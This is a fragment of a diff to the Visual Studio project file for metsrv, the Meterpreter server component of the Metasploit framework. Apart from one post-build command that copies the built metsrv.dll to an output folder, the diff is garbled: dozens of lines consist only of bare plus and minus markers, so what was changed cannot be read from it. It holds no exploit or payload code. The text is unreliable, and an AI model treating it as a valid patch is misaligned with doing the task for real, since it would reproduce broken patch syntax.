a/external/source/meterpreter/workspace/metsrv/metsrv.vcproj +++ b/external/source/meterpreter/workspace/metsrv/metsrv.vcproj @@ -118,6 +118,111 @@ CommandLine="copy /y "$(ProjectDir)\debug\metsrv.dll" "$(ProjectDir)..\..\output\"" /> + + + + + + + + + + + + + + + + + + + - - - - - - - - - - - - - - - - - - -